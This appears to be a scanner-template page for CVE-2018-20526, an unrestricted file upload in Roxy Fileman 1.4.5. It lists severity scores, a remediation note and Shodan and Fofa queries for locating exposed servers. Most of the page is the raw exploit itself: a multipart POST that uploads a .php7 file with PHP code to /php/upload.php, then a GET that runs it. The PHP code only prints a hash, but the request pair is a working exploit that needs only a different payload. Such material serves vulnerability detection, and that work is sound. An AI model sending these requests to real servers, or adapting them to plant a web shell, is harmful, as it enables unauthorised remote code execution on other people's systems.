| Title | Roxy Fileman 1.4.5 - Unrestricted File Upload |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can result in remote code execution, allowing an attacker to execute arbitrary commands on the target system. |
| Remediation | Upgrade to a patched version of Roxy Fileman or apply the necessary security patches to prevent unrestricted file uploads. |
| CVSS Score | 9.8 |
| EPSS Score | 0.8767 |
| CVE ID | CVE-2018-20526 |
| CWE ID | CWE-434 |
| Shodan Query | http.title:"roxy file manager" |
| Fofa Query | title="roxy file manager" |
| Tags | cve cve2018 roxy fileman rce fileupload intrusive packetstorm edb roxyfileman vkev vuln |
Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /php/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36
Connection: close
Content-Length: 555
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20kgW2hEKYaeF5iP
Origin: http://www.victim.com
Referer: http://www.victim.com
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="method"
ajax
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="d"
/Uploads
------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition: form-data; name="files[]"; filename="38Fd2PSyzAnsx3ckE4oLtBt00Ui.php7"
Content-Type: application/octet-stream
<?php
echo md5('CVE-2018-20526');
?>
------WebKitFormBoundary20kgW2hEKYaeF5iP--
GET /Uploads/38Fd2PSyzAnsx3ckE4oLtBt00Ui.php7 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20526.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-20526.pcap
N/AN/A